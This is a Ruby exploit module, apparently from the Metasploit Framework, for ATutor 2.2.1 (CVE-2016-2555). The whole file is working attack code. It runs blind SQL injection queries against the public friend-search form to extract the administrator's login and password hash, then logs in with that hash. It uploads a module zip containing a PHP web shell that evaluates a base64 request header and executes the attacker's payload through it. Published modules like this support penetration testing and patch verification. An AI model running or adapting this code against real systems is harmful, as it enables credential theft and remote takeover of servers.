Path: blob/master/modules/exploits/multi/http/atutor_sqli.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',16'Description' => %q{17This module exploits a SQL Injection vulnerability and an authentication weakness18vulnerability in ATutor. This essentially means an attacker can bypass authentication19and reach the administrator's interface where they can upload malicious code.20},21'License' => MSF_LICENSE,22'Author' => [23'mr_me <steventhomasseeley[at]gmail.com>', # initial discovery, msf code24],25'References' => [26[ 'CVE', '2016-2555' ],27[ 'URL', 'http://www.atutor.ca/' ], # Official Website28[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory29],30'Privileged' => false,31'Payload' => {32'DisableNops' => true,33},34'Platform' => ['php'],35'Arch' => ARCH_PHP,36'Targets' => [[ 'Automatic', {}]],37'DisclosureDate' => '2016-03-01',38'DefaultTarget' => 0,39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)4647register_options(48[49OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])50]51)52end5354def print_status(msg = '')55super("#{peer} - #{msg}")56end5758def print_error(msg = '')59super("#{peer} - #{msg}")60end6162def print_good(msg = '')63super("#{peer} - #{msg}")64end6566def check67# the only way to test if the target is vuln68if test_injection69return Exploit::CheckCode::Vulnerable70else71return Exploit::CheckCode::Safe72end73end7475def create_zip_file76zip_file = Rex::Zip::Archive.new77@header = Rex::Text.rand_text_alpha_upper(4)78@payload_name = Rex::Text.rand_text_alpha_lower(4)79@plugin_name = Rex::Text.rand_text_alpha_lower(3)8081path = "#{@plugin_name}/#{@payload_name}.php"82# this content path is where the ATutor authors recommended installing it83register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")84zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")85zip_file.pack86end8788def exec_code89send_request_cgi({90'method' => 'GET',91'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),92'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"93}, 0.1)94end9596def upload_shell(cookie)97post_data = Rex::MIME::Message.new98post_data.add_part(create_zip_file, 'archive/zip', nil, "form-data; name=\"modulefile\"; filename=\"#{@plugin_name}.zip\"")99post_data.add_part("#{Rex::Text.rand_text_alpha_upper(4)}", nil, nil, "form-data; name=\"install_upload\"")100data = post_data.to_s101res = send_request_cgi({102'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "install_modules.php"),103'method' => 'POST',104'data' => data,105'ctype' => "multipart/form-data; boundary=#{post_data.bound}",106'cookie' => cookie107})108109if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")110res = send_request_cgi({111'method' => 'GET',112'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),113'cookie' => cookie114})115if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")116res = send_request_cgi({117'method' => 'GET',118'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),119'cookie' => cookie120})121return true122end123end124# unknown failure...125fail_with(Failure::Unknown, "Unable to upload php code")126return false127end128129def login(username, hash)130password = Rex::Text.sha1(hash)131res = send_request_cgi({132'method' => 'POST',133'uri' => normalize_uri(target_uri.path, "login.php"),134'vars_post' => {135'form_password_hidden' => password,136'form_login' => username,137'submit' => 'Login',138'token' => ''139},140})141# poor developer practices142cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/143if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')144# if we made it here, we are admin145store_valid_credential(user: username, private: hash, private_type: :nonreplayable_hash)146return cookie147end148# auth failed if we land here, bail149fail_with(Failure::NoAccess, "Authentication failed with username #{username}")150return nil151end152153def perform_request(sqli)154# the search requires a minimum of 3 chars155sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"156rand_key = Rex::Text.rand_text_alpha(1)157res = send_request_cgi({158'method' => 'POST',159'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),160'vars_post' => {161"search_friends_#{rand_key}" => sqli,162'rand_key' => rand_key,163'search' => 'Search'164},165})166res ? res.body : ''167end168169def dump_the_hash170extracted_hash = ""171sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"172login_and_hash_length = generate_sql_and_test(do_true = false, do_test = false, sql = sqli).to_i173for i in 1..login_and_hash_length174sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"175asciival = generate_sql_and_test(false, false, sqli)176if asciival >= 0177extracted_hash << asciival.chr178end179end180return extracted_hash.split(":")181end182183# greetz to rsauron & the darkc0de crew!184def get_ascii_value(sql)185lower = 0186upper = 126187while lower < upper188mid = (lower + upper) / 2189sqli = "#{sql}>#{mid}"190result = perform_request(sqli)191if result =~ /There are \d+ entries\./192lower = mid + 1193else194upper = mid195end196end197if lower > 0 and lower < 126198value = lower199else200sqli = "#{sql}=#{lower}"201result = perform_request(sqli)202if result =~ /There are \d+ entries\./203value = lower204end205end206return value207end208209def generate_sql_and_test(do_true = false, do_test = false, sql = nil)210if do_test211if do_true212result = perform_request("1=1")213if result =~ /There are \d+ entries\./214return true215end216else not do_true217result = perform_request("1=2")218if not result =~ /There are \d+ entries\./219return true220end221end222elsif not do_test and sql223return get_ascii_value(sql)224end225end226227def test_injection228if generate_sql_and_test(do_true = true, do_test = true, sql = nil)229if generate_sql_and_test(do_true = false, do_test = true, sql = nil)230return true231end232end233return false234end235236def service_details237super.merge({ post_reference_name: self.refname, jtr_format: 'sha512' })238end239240def exploit241print_status("Dumping the username and password hash...")242credz = dump_the_hash243if credz.nil? || credz.empty?244fail_with(Failure::NotVulnerable, 'Failed to retrieve username and password hash')245end246print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")247admin_cookie = login(credz[0], credz[1])248if upload_shell(admin_cookie)249exec_code250end251end252end253254255